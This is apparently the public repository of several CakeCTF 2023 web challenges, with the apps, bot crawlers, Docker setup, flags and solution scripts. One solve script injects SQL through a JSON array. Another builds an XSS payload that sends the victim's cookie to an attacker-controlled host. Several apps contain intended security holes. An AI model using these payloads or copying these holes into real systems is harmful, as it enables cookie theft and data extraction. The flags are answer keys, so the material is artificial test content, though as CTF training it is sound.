44 | ('BO', 'Bolivia'), 45 | ('BA', 'Bosnia And Herzegovina'), 46 | ('BW', 'Botswana'), 47 | ('BV', 'Bouvet Island'), 48 | ('BR', 'Brazil'), 49 | ('IO', 'British Indian Ocean Territory'), 50 | ('BN', 'Brunei Darussalam'), 51 | ('BG', 'Bulgaria'), 52 | ('BF', 'Burkina Faso'), 53 | ('BI', 'Burundi'), 54 | ('KH', 'Cambodia'), 55 | ('CM', 'Cameroon'), 56 | ('CA', 'Canada'), 57 | ('CV', 'Cape Verde'), 58 | ('KY', 'Cayman Islands'), 59 | ('CF', 'Central African Republic'), 60 | ('TD', 'Chad'), 61 | ('CL', 'Chile'), 62 | ('CN', 'China'), 63 | ('CX', 'Christmas Island'), 64 | ('CC', 'Cocos (Keeling) Islands'), 65 | ('CO', 'Colombia'), 66 | ('KM', 'Comoros'), 67 | ('CG', 'Congo'), 68 | ('CD', 'Congo, Democratic Republic'), 69 | ('CK', 'Cook Islands'), 70 | ('CR', 'Costa Rica'), 71 | ('CI', 'Cote D\'Ivoire'), 72 | ('HR', 'Croatia'), 73 | ('CU', 'Cuba'), 74 | ('CY', 'Cyprus'), 75 | ('CZ', 'Czech Republic'), 76 | ('DK', 'Denmark'), 77 | ('DJ', 'Djibouti'), 78 | ('DM', 'Dominica'), 79 | ('DO', 'Dominican Republic'), 80 | ('EC', 'Ecuador'), 81 | ('EG', 'Egypt'), 82 | ('SV', 'El Salvador'), 83 | ('GQ', 'Equatorial Guinea'), 84 | ('ER', 'Eritrea'), 85 | ('EE', 'Estonia'), 86 | ('ET', 'Ethiopia'), 87 | ('FK', 'Falkland Islands (Malvinas)'), 88 | ('FO', 'Faroe Islands'), 89 | ('FJ', 'Fiji'), 90 | ('FI', 'Finland'), 91 | ('FR', 'France'), 92 | ('GF', 'French Guiana'), 93 | ('PF', 'French Polynesia'), 94 | ('TF', 'French Southern Territories'), 95 | ('GA', 'Gabon'), 96 | ('GM', 'Gambia'), 97 | ('GE', 'Georgia'), 98 | ('DE', 'Germany'), 99 | ('GH', 'Ghana'), 100 | ('GI', 'Gibraltar'), 101 | ('GR', 'Greece'), 102 | ('GL', 'Greenland'), 103 | ('GD', 'Grenada'), 104 | ('GP', 'Guadeloupe'), 105 | ('GU', 'Guam'), 106 | ('GT', 'Guatemala'), 107 | ('GG', 'Guernsey'), 108 | ('GN', 'Guinea'), 109 | ('GW', 'Guinea-Bissau'), 110 | ('GY', 'Guyana'), 111 | ('HT', 'Haiti'), 112 | ('HM', 'Heard Island & Mcdonald Islands'), 113 | ('VA', 'Holy See (Vatican City State)'), 114 | ('HN', 'Honduras'), 115 | ('HK', 'Hong Kong'), 116 | ('HU', 'Hungary'), 117 | ('IS', 'Iceland'), 118 | ('IN', 'India'), 119 | ('ID', 'Indonesia'), 120 | ('IR', 'Iran, Islamic Republic Of'), 121 | ('IQ', 'Iraq'), 122 | ('IE', 'Ireland'), 123 | ('IM', 'Isle Of Man'), 124 | ('IL', 'Israel'), 125 | ('IT', 'Italy'), 126 | ('JM', 'Jamaica'), 127 | ('JP', 'Japan'), 128 | ('JE', 'Jersey'), 129 | ('JO', 'Jordan'), 130 | ('KZ', 'Kazakhstan'), 131 | ('KE', 'Kenya'), 132 | ('KI', 'Kiribati'), 133 | ('KR', 'Korea'), 134 | ('KW', 'Kuwait'), 135 | ('KG', 'Kyrgyzstan'), 136 | ('LA', 'Lao People\'s Democratic Republic'), 137 | ('LV', 'Latvia'), 138 | ('LB', 'Lebanon'), 139 | ('LS', 'Lesotho'), 140 | ('LR', 'Liberia'), 141 | ('LY', 'Libyan Arab Jamahiriya'), 142 | ('LI', 'Liechtenstein'), 143 | ('LT', 'Lithuania'), 144 | ('LU', 'Luxembourg'), 145 | ('MO', 'Macao'), 146 | ('MK', 'Macedonia'), 147 | ('MG', 'Madagascar'), 148 | ('MW', 'Malawi'), 149 | ('MY', 'Malaysia'), 150 | ('MV', 'Maldives'), 151 | ('ML', 'Mali'), 152 | ('MT', 'Malta'), 153 | ('MH', 'Marshall Islands'), 154 | ('MQ', 'Martinique'), 155 | ('MR', 'Mauritania'), 156 | ('MU', 'Mauritius'), 157 | ('YT', 'Mayotte'), 158 | ('MX', 'Mexico'), 159 | ('FM', 'Micronesia, Federated States Of'), 160 | ('MD', 'Moldova'), 161 | ('MC', 'Monaco'), 162 | ('MN', 'Mongolia'), 163 | ('ME', 'Montenegro'), 164 | ('MS', 'Montserrat'), 165 | ('MA', 'Morocco'), 166 | ('MZ', 'Mozambique'), 167 | ('MM', 'Myanmar'), 168 | ('NA', 'Namibia'), 169 | ('NR', 'Nauru'), 170 | ('NP', 'Nepal'), 171 | ('NL', 'Netherlands'), 172 | ('AN', 'Netherlands Antilles'), 173 | ('NC', 'New Caledonia'), 174 | ('NZ', 'New Zealand'), 175 | ('NI', 'Nicaragua'), 176 | ('NE', 'Niger'), 177 | ('NG', 'Nigeria'), 178 | ('NU', 'Niue'), 179 | ('NF', 'Norfolk Island'), 180 | ('MP', 'Northern Mariana Islands'), 181 | ('NO', 'Norway'), 182 | ('OM', 'Oman'), 183 | ('PK', 'Pakistan'), 184 | ('PW', 'Palau'), 185 | ('PS', 'Palestinian Territory, Occupied'), 186 | ('PA', 'Panama'), 187 | ('PG', 'Papua New Guinea'), 188 | ('PY', 'Paraguay'), 189 | ('PE', 'Peru'), 190 | ('PH', 'Philippines'), 191 | ('PN', 'Pitcairn'), 192 | ('PL', 'Poland'), 193 | ('PT', 'Portugal'), 194 | ('PR', 'Puerto Rico'), 195 | ('QA', 'Qatar'), 196 | ('RE', 'Reunion'), 197 | ('RO', 'Romania'), 198 | ('RU', 'Russian Federation'), 199 | ('RW', 'Rwanda'), 200 | ('BL', 'Saint Barthelemy'), 201 | ('SH', 'Saint Helena'), 202 | ('KN', 'Saint Kitts And Nevis'), 203 | ('LC', 'Saint Lucia'), 204 | ('MF', 'Saint Martin'), 205 | ('PM', 'Saint Pierre And Miquelon'), 206 | ('VC', 'Saint Vincent And Grenadines'), 207 | ('WS', 'Samoa'), 208 | ('SM', 'San Marino'), 209 | ('ST', 'Sao Tome And Principe'), 210 | ('SA', 'Saudi Arabia'), 211 | ('SN', 'Senegal'), 212 | ('RS', 'Serbia'), 213 | ('SC', 'Seychelles'), 214 | ('SL', 'Sierra Leone'), 215 | ('SG', 'Singapore'), 216 | ('SK', 'Slovakia'), 217 | ('SI', 'Slovenia'), 218 | ('SB', 'Solomon Islands'), 219 | ('SO', 'Somalia'), 220 | ('ZA', 'South Africa'), 221 | ('GS', 'South Georgia And Sandwich Isl.'), 222 | ('ES', 'Spain'), 223 | ('LK', 'Sri Lanka'), 224 | ('SD', 'Sudan'), 225 | ('SR', 'Suriname'), 226 | ('SJ', 'Svalbard And Jan Mayen'), 227 | ('SZ', 'Swaziland'), 228 | ('SE', 'Sweden'), 229 | ('CH', 'Switzerland'), 230 | ('SY', 'Syrian Arab Republic'), 231 | ('TW', 'Taiwan'), 232 | ('TJ', 'Tajikistan'), 233 | ('TZ', 'Tanzania'), 234 | ('TH', 'Thailand'), 235 | ('TL', 'Timor-Leste'), 236 | ('TG', 'Togo'), 237 | ('TK', 'Tokelau'), 238 | ('TO', 'Tonga'), 239 | ('TT', 'Trinidad And Tobago'), 240 | ('TN', 'Tunisia'), 241 | ('TR', 'Turkey'), 242 | ('TM', 'Turkmenistan'), 243 | ('TC', 'Turks And Caicos Islands'), 244 | ('TV', 'Tuvalu'), 245 | ('UG', 'Uganda'), 246 | ('UA', 'Ukraine'), 247 | ('AE', 'United Arab Emirates'), 248 | ('GB', 'United Kingdom'), 249 | ('US', 'United States'), 250 | ('UM', 'United States Outlying Islands'), 251 | ('UY', 'Uruguay'), 252 | ('UZ', 'Uzbekistan'), 253 | ('VU', 'Vanuatu'), 254 | ('VE', 'Venezuela'), 255 | ('VN', 'Viet Nam'), 256 | ('VG', 'Virgin Islands, British'), 257 | ('VI', 'Virgin Islands, U.S.'), 258 | ('WF', 'Wallis And Futuna'), 259 | ('EH', 'Western Sahara'), 260 | ('YE', 'Yemen'), 261 | ('ZM', 'Zambia'), 262 | ('ZW', 'Zimbabwe'), 263 | ] 264 | conn.executemany("INSERT INTO country VALUES (?, ?)", countries) 265 | 266 | conn.commit() 267 | conn.close() 268 | -------------------------------------------------------------------------------- /web/country_db/distfiles/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ISO country code query 6 | 37 | 38 | 39 | 40 | 41 | 42 |

43 | 44 | 45 | -------------------------------------------------------------------------------- /web/country_db/distfiles/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app 3 | callable = app 4 | uid = ctf 5 | gid = ctf 6 | -------------------------------------------------------------------------------- /web/country_db/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | country_db: 4 | build: 5 | context: . 6 | args: 7 | - "FLAG=CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}" 8 | ports: 9 | - "8020:8080" 10 | environment: 11 | - UWSGI_INI=/app/uwsgi.ini 12 | - LISTEN_PORT=8080 13 | restart: unless-stopped 14 | -------------------------------------------------------------------------------- /web/country_db/solution/solve.py: -------------------------------------------------------------------------------- 1 | import json 2 | import requests 3 | import os 4 | 5 | HOST = os.getenv("HOST", "localhost") 6 | PORT = os.getenv("PORT", "8020") 7 | 8 | URL = f"http://{HOST}:{PORT}" 9 | 10 | # SELECT name FROM country WHERE code=UPPER('')') 11 | code = ["') UNION SELECT flag FROM flag;--", "wow"] 12 | r = requests.post(f"{URL}/api/search", 13 | headers={"Content-Type": "application/json"}, 14 | data=json.dumps({"code": code})) 15 | print(r.text) 16 | -------------------------------------------------------------------------------- /web/country_db/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "Country DB" 3 | description: > 4 |

5 | Do you know which country code 'CA' and 'KE' are for?
6 | Search country codes here! 7 |

8 | flag: "CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}" 9 | author: ptr-yudai 10 | host: countrydb.2023.cakectf.com 11 | port: 8020 12 | tags: 13 | - web 14 | - warmup 15 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/crawler/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:bullseye-slim 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y wget gnupg ca-certificates procps libxss1 \ 5 | && wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - \ 6 | && sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' \ 7 | && apt-get update 8 | RUN apt-get install -y google-chrome-stable 9 | RUN rm -rf /var/lib/apt/lists/* 10 | 11 | WORKDIR /app 12 | ADD package.json ./ 13 | RUN npm install 14 | 15 | RUN groupadd -r pptruser && useradd -r -g pptruser -G audio,video pptruser \ 16 | && mkdir -p /home/pptruser/Downloads \ 17 | && chown -R pptruser:pptruser /home/pptruser \ 18 | && chown -R pptruser:pptruser /app/node_modules 19 | 20 | ADD https://github.com/Yelp/dumb-init/releases/download/v1.2.5/dumb-init_1.2.5_x86_64 /usr/local/bin/dumb-init 21 | RUN chmod +x /usr/local/bin/dumb-init 22 | 23 | USER pptruser 24 | ADD crawler.js ./ 25 | 26 | ENTRYPOINT ["dumb-init", "--"] 27 | CMD ["node", "crawler.js"] 28 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/crawler/crawler.js: -------------------------------------------------------------------------------- 1 | const puppeteer = require('puppeteer'); 2 | const Redis = require('ioredis'); 3 | const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1}); 4 | 5 | const flag = process.env.flag || "FakeCTF{**** DUMMY FLAG *****}"; 6 | const base_url = "http://challenge:8080"; 7 | const browser_option = { 8 | executablePath: '/usr/bin/google-chrome', 9 | headless: "new", 10 | args: [ 11 | '-wait-for-browser', 12 | '--no-sandbox', 13 | '--disable-dev-shm-usage', 14 | '--disable-gpu', 15 | '--js-flags="--noexpose_wasm"' 16 | ] 17 | } 18 | 19 | const crawl = async (target) => { 20 | const url = `${base_url}/${target}`; 21 | console.log(`[+] Crawling: ${url}`); 22 | 23 | const browser = await puppeteer.launch(browser_option); 24 | const page = await browser.newPage(); 25 | try { 26 | await page.setCookie({ 27 | name: 'flag', 28 | value: flag, 29 | domain: new URL(base_url).hostname, 30 | httpOnly: false, 31 | secure: false 32 | }); 33 | await page.goto(url, { 34 | waitUntil: 'networkidle0', 35 | timeout: 3 * 1000, 36 | }); 37 | await page.waitForTimeout(3 * 1000); 38 | } catch (e) { 39 | console.log("[-]", e); 40 | } finally { 41 | await page.close(); 42 | await browser.close(); 43 | } 44 | } 45 | 46 | const handle = async () => { 47 | console.log(await connection.ping()); 48 | connection.blpop('report', 0, async (err, message) => { 49 | try { 50 | await crawl(message[1]); 51 | setTimeout(handle, 10); 52 | } catch (e) { 53 | console.log("[-] " + e); 54 | } 55 | }); 56 | }; 57 | 58 | handle(); 59 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/crawler/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "ioredis": "^5.3.2", 4 | "puppeteer": "^21.3.8" 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: ./service 5 | ports: 6 | - "8011:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/app/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | restart: unless-stopped 13 | 14 | report: 15 | build: ./report 16 | ports: 17 | - "8012:8080" 18 | links: 19 | - redis 20 | - crawler 21 | environment: 22 | - UWSGI_INI=/app/uwsgi.ini 23 | - LISTEN_PORT=8080 24 | restart: unless-stopped 25 | 26 | crawler: 27 | build: ./crawler 28 | links: 29 | - challenge 30 | - redis 31 | restart: unless-stopped 32 | 33 | redis: 34 | build: ./redis 35 | restart: unless-stopped 36 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/redis/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM redis:6-alpine 2 | COPY ./redis.conf /redis.conf 3 | CMD ["redis-server", "/redis.conf"] 4 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/report/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update 4 | RUN adduser -D ctf 5 | RUN pip install Flask redis requests 6 | 7 | WORKDIR /app 8 | ADD . . 9 | RUN chown -R root:ctf . 10 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/report/app.py: -------------------------------------------------------------------------------- 1 | import flask 2 | import json 3 | import os 4 | import re 5 | import redis 6 | import requests 7 | 8 | REDIS_HOST = os.getenv("REDIS_HOST", "redis") 9 | REDIS_PORT = int(os.getenv("REDIS_HOST", "6379")) 10 | RECAPTCHA_KEY = os.getenv("RECAPTCHA_KEY", None) 11 | 12 | app = flask.Flask(__name__) 13 | 14 | def db(): 15 | if getattr(flask.g, '_redis', None) is None: 16 | flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=1) 17 | return flask.g._redis 18 | 19 | def recaptcha(response): 20 | if RECAPTCHA_KEY is None: 21 | # Players' environment 22 | return True 23 | r = requests.post("https://www.google.com/recaptcha/api/siteverify", 24 | params={'secret': RECAPTCHA_KEY, 25 | 'response': response}) 26 | return json.loads(r.text)['success'] 27 | 28 | @app.route("/", methods=['GET', 'POST']) 29 | def report(): 30 | error = ok = "" 31 | if flask.request.method == 'POST': 32 | bio_id = str(flask.request.form.get('url', '')) 33 | response = flask.request.form.get('g-recaptcha-response') 34 | if not re.match("^[0-9a-f]{64}$", bio_id): 35 | error = 'Invalid bio ID' 36 | elif not recaptcha(response): 37 | error = "reCAPTCHA failed." 38 | else: 39 | db().rpush('report', f"bio/{bio_id}") 40 | ok = "Admin will check it soon." 41 | return flask.render_template("index.html", ok=ok, error=error) 42 | 43 | if __name__ == '__main__': 44 | app.run(debug=True) 45 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/report/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | OpenBio Bug Tracker 5 | 6 | 28 | 29 | 30 |

Report to Admin

31 |

If you find a sensitive/harmful bio, please report it.

32 |
33 | {% if error %}

{{ error }}

{% endif %} 34 | {% if ok %}

{{ ok }}

{% endif %} 35 | 36 | 37 |
38 | 39 | 58 | 59 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/report/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app 3 | callable = app 4 | uid = ctf 5 | gid = ctf 6 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/service/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update 4 | RUN adduser -D ctf 5 | RUN pip install Flask redis bleach 6 | 7 | WORKDIR /app 8 | ADD . . 9 | RUN chown -R root:ctf . 10 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/service/app.py: -------------------------------------------------------------------------------- 1 | import bleach 2 | import flask 3 | import json 4 | import os 5 | import re 6 | import redis 7 | 8 | REDIS_HOST = os.getenv("REDIS_HOST", "redis") 9 | REDIS_PORT = int(os.getenv("REDIS_PORT", "6379")) 10 | 11 | app = flask.Flask(__name__) 12 | 13 | @app.route('/', methods=['GET', 'POST']) 14 | def index(): 15 | if flask.request.method == 'GET': 16 | return flask.render_template("index.html") 17 | 18 | err = None 19 | bio_id = os.urandom(32).hex() 20 | name = flask.request.form.get('name', 'Anonymous') 21 | email = flask.request.form.get('email', '') 22 | bio1 = flask.request.form.get('bio1', '') 23 | bio2 = flask.request.form.get('bio2', '') 24 | if len(name) > 20: 25 | err = "Name is too long" 26 | elif len(email) > 40: 27 | err = "Email is too long" 28 | elif len(bio1) > 1001 or len(bio2) > 1001: 29 | err = "Bio is too long" 30 | 31 | if err: 32 | return flask.render_template("index.html", err=err) 33 | 34 | db().set(bio_id, json.dumps({ 35 | 'name': name, 'email': email, 'bio1': bio1, 'bio2': bio2 36 | })) 37 | return flask.redirect(f"/bio/{bio_id}") 38 | 39 | @app.route('/bio/') 40 | def bio(bio_id): 41 | if not re.match("^[0-9a-f]{64}$", bio_id): 42 | return flask.redirect("/") 43 | 44 | bio = db().get(bio_id) 45 | if bio is None: 46 | return flask.redirect("/") 47 | 48 | bio = json.loads(bio) 49 | name = bio['name'] 50 | email = bio['email'] 51 | bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000] 52 | bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000] 53 | return flask.render_template("bio.html", 54 | name=name, email=email, bio1=bio1, bio2=bio2) 55 | 56 | 57 | def db(): 58 | if getattr(flask.g, '_redis', None) is None: 59 | flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0) 60 | return flask.g._redis 61 | 62 | if __name__ == '__main__': 63 | app.run() 64 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/service/templates/bio.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | {{ name }}'s Bio 5 | 6 | 7 | 8 |
9 |

{{ name }}'s Biography

10 |
{{ bio1 | safe }}{{ bio2 | safe }}
11 | {% if email %}

Contact: {{email}}

{% endif %} 12 |
13 | 14 | 15 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/service/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Bio Generator 5 | 6 | 7 | 8 |
9 |

Bio Generator

10 |
11 | {% if err %}

Error: {{ err }}

{% endif %} 12 |
13 |
14 | 15 | 16 |
17 |
18 | 19 | 20 |
21 |
22 | 23 | 24 | 25 | 26 |

* Allowed tags: <a>, <abbr>, <acronym>, <b>, <blockquote>, <code>, <em>, <i>, <li>, <ol>, <strong>, <ul>

27 | 28 |
29 |
30 | 31 | 32 | -------------------------------------------------------------------------------- /web/openbio2/distfiles/service/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app 3 | callable = app 4 | uid = ctf 5 | gid = ctf 6 | -------------------------------------------------------------------------------- /web/openbio2/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: ./distfiles/service 5 | ports: 6 | - "8011:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/app/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | restart: unless-stopped 13 | 14 | report: 15 | build: ./distfiles/report 16 | ports: 17 | - "8012:8080" 18 | links: 19 | - redis 20 | - crawler 21 | environment: 22 | - UWSGI_INI=/app/uwsgi.ini 23 | - LISTEN_PORT=8080 24 | restart: unless-stopped 25 | 26 | crawler: 27 | build: ./distfiles/crawler 28 | links: 29 | - challenge 30 | - redis 31 | environment: 32 | - "flag=CakeCTF{d0n'7_m0d1fy_4ft3r_s4n1tiz3}" 33 | restart: unless-stopped 34 | 35 | redis: 36 | build: ./distfiles/redis 37 | restart: unless-stopped 38 | -------------------------------------------------------------------------------- /web/openbio2/solution/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import os 3 | import requests 4 | 5 | HOST = os.getenv("HOST", "localhost") 6 | PORT = os.getenv("PORT", 8011) 7 | 8 | pwn_host = os.getenv("PWN_HOST", "192.168.3.8") 9 | pwn_port = os.getenv("PWN_PORT", 18001) 10 | 11 | URL = f"http://{HOST}:{PORT}" 12 | 13 | payload = base64.b64encode(f"""if (document.cookie) location.href="http://{pwn_host}:{pwn_port}/?a="+document.cookie;""".encode()).decode() 14 | 15 | bio1 = '<<'+'&'.join(['a.jp']*200) 16 | bio2 = f'''img src=x onerror="eval(atob('{payload}'))"''' 17 | 18 | print(len(bio1)) 19 | r = requests.post(URL, allow_redirects=False, data={ 20 | "name": "a", "email": "", "bio1": bio1, "bio2": bio2 21 | }) 22 | 23 | print(r.headers['Location']) 24 | -------------------------------------------------------------------------------- /web/openbio2/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: "OpenBio 2" 3 | description: > 4 |

5 | Share your Bio here!
6 | * Please report us if you find any sensitive/harmful bio. 7 |

8 | flag: "CakeCTF{d0n'7_m0d1fy_4ft3r_s4n1tiz3}" 9 | author: ptr-yudai 10 | host: openbio2.2023.cakectf.com 11 | port: 8011 12 | tags: 13 | - web 14 | -------------------------------------------------------------------------------- /web/towfl/distfiles/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | challenge: 4 | build: ./service 5 | ports: 6 | - "8888:8080" 7 | links: 8 | - redis 9 | environment: 10 | - UWSGI_INI=/app/uwsgi.ini 11 | - LISTEN_PORT=8080 12 | - FLAG="FakeCTF{*** REDACTED ***}" 13 | restart: unless-stopped 14 | 15 | redis: 16 | build: ./redis 17 | restart: unless-stopped 18 | -------------------------------------------------------------------------------- /web/towfl/distfiles/redis/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM redis:6-alpine 2 | COPY ./redis.conf /redis.conf 3 | CMD ["redis-server", "/redis.conf"] 4 | -------------------------------------------------------------------------------- /web/towfl/distfiles/service/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine 2 | 3 | RUN apk update 4 | RUN adduser -D ctf 5 | RUN pip install Flask lorem redis 6 | 7 | WORKDIR /app 8 | ADD . . 9 | RUN chown -R root:ctf . 10 | -------------------------------------------------------------------------------- /web/towfl/distfiles/service/app.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import flask 3 | import json 4 | import lorem 5 | import os 6 | import random 7 | import redis 8 | 9 | REDIS_HOST = os.getenv("REDIS_HOST", "redis") 10 | REDIS_PORT = int(os.getenv("REDIS_PORT", "6379")) 11 | 12 | app = flask.Flask(__name__) 13 | app.secret_key = os.urandom(16) 14 | 15 | @app.route("/") 16 | def index(): 17 | return flask.render_template("index.html") 18 | 19 | @app.route("/api/start", methods=['POST']) 20 | def api_start(): 21 | if 'eid' in flask.session: 22 | eid = flask.session['eid'] 23 | else: 24 | eid = flask.session['eid'] = os.urandom(32).hex() 25 | 26 | # Create new challenge set 27 | db().set(eid, json.dumps([new_challenge() for _ in range(10)])) 28 | return {'status': 'ok'} 29 | 30 | @app.route("/api/question/", methods=['GET']) 31 | def api_get_question(qid: int): 32 | if qid <= 0 or qid > 10: 33 | return {'status': 'error', 'reason': 'Invalid parameter.'} 34 | elif 'eid' not in flask.session: 35 | return {'status': 'error', 'reason': 'Exam has not started yet.'} 36 | 37 | # Send challenge information without answers 38 | chall = json.loads(db().get(flask.session['eid']))[qid-1] 39 | del chall['answers'] 40 | del chall['results'] 41 | return {'status': 'ok', 'data': chall} 42 | 43 | @app.route("/api/submit", methods=['POST']) 44 | def api_submit(): 45 | if 'eid' not in flask.session: 46 | return {'status': 'error', 'reason': 'Exam has not started yet.'} 47 | 48 | try: 49 | answers = flask.request.get_json() 50 | except: 51 | return {'status': 'error', 'reason': 'Invalid request.'} 52 | 53 | # Get answers 54 | eid = flask.session['eid'] 55 | challs = json.loads(db().get(eid)) 56 | if not isinstance(answers, list) \ 57 | or len(answers) != len(challs): 58 | return {'status': 'error', 'reason': 'Invalid request.'} 59 | 60 | # Check answers 61 | for i in range(len(answers)): 62 | if not isinstance(answers[i], list) \ 63 | or len(answers[i]) != len(challs[i]['answers']): 64 | return {'status': 'error', 'reason': 'Invalid request.'} 65 | 66 | for j in range(len(answers[i])): 67 | challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j] 68 | 69 | # Store information with results 70 | db().set(eid, json.dumps(challs)) 71 | return {'status': 'ok'} 72 | 73 | @app.route("/api/score", methods=['GET']) 74 | def api_score(): 75 | if 'eid' not in flask.session: 76 | return {'status': 'error', 'reason': 'Exam has not started yet.'} 77 | 78 | # Calculate score 79 | challs = json.loads(db().get(flask.session['eid'])) 80 | score = 0 81 | for chall in challs: 82 | for result in chall['results']: 83 | if result is True: 84 | score += 1 85 | 86 | # Is he/she worth giving the flag? 87 | if score == 100: 88 | flag = os.getenv("FLAG") 89 | else: 90 | flag = "Get perfect score for flag" 91 | 92 | # Prevent reply attack 93 | flask.session.clear() 94 | 95 | return {'status': 'ok', 'data': {'score': score, 'flag': flag}} 96 | 97 | 98 | def new_challenge(): 99 | """Create new questions for a passage""" 100 | p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))]) 101 | qs, ans, res = [], [], [] 102 | for _ in range(10): 103 | q = lorem.sentence().replace(".", "?") 104 | op = [lorem.sentence() for _ in range(4)] 105 | qs.append({'question': q, 'options': op}) 106 | ans.append(random.randrange(0, 4)) 107 | res.append(False) 108 | return {'passage': p, 'questions': qs, 'answers': ans, 'results': res} 109 | 110 | def db(): 111 | """Get connection to DB""" 112 | if getattr(flask.g, '_redis', None) is None: 113 | flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0) 114 | return flask.g._redis 115 | 116 | if __name__ == '__main__': 117 | app.run() 118 | -------------------------------------------------------------------------------- /web/towfl/distfiles/service/static/fonts/hymmnos.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/web/towfl/distfiles/service/static/fonts/hymmnos.ttf -------------------------------------------------------------------------------- /web/towfl/distfiles/service/static/img/towfl.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2023-public/fac06887d5360cec70a09e62ab265e5255a0404c/web/towfl/distfiles/service/static/img/towfl.webp -------------------------------------------------------------------------------- /web/towfl/distfiles/service/static/js/script.js: -------------------------------------------------------------------------------- 1 | let submission; 2 | 3 | /* Set every radio button unchecked */ 4 | function resetRadioButtons() { 5 | for (let i = 0; i < 10; i++) { 6 | for (let j = 0; j < 4; j++) { 7 | document.getElementById(`exam-ans-${i+1}-${j+1}`).checked = false; 8 | } 9 | } 10 | } 11 | 12 | /* Save selections of the current question */ 13 | function saveStateLocal(n) { 14 | for (let i = 0; i < 10; i++) { 15 | for (let j = 0; j < 4; j++) { 16 | const l = document.getElementById(`exam-ans-${i+1}-${j+1}`); 17 | if (l.checked === true) { 18 | submission[n-1][i] = j; 19 | break; 20 | } 21 | } 22 | } 23 | } 24 | 25 | /* Submit answers and get the score */ 26 | async function submitAnswers() { 27 | // Submit answers 28 | let res = await fetch('/api/submit', { 29 | method: 'POST', credentials: 'include', 30 | headers: { 'Content-Type': 'application/json' }, 31 | body: JSON.stringify(submission) 32 | }); 33 | if (!res.ok) { alert("Server error"); return; } 34 | let json = await res.json(); 35 | if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; } 36 | 37 | // Get score 38 | res = await fetch('/api/score', { 39 | method: 'GET', credentials: 'include', 40 | }); 41 | if (!res.ok) { alert("Server error"); return; } 42 | json = await res.json(); 43 | if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; } 44 | 45 | // Display score 46 | document.getElementById('exam').hidden = true; 47 | document.getElementById('score-value').innerText = `${json.data.score}`; 48 | document.getElementById('flag').innerText = json.data.flag; 49 | document.getElementById('score').hidden = false; 50 | } 51 | 52 | /* Load a set of questions */ 53 | async function loadNthQuestion(n) { 54 | // Get questions 55 | let res = await fetch(`/api/question/${n}`, { credentials: 'include' }); 56 | if (!res.ok) { alert("Server error"); return; } 57 | let json = await res.json(); 58 | if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; } 59 | 60 | // Display questions 61 | document.getElementById('exam-passage').innerText = json.data.passage; 62 | for (let i = 0; i < 10; i++) { 63 | document.getElementById(`exam-question-${i+1}`) 64 | .innerText = 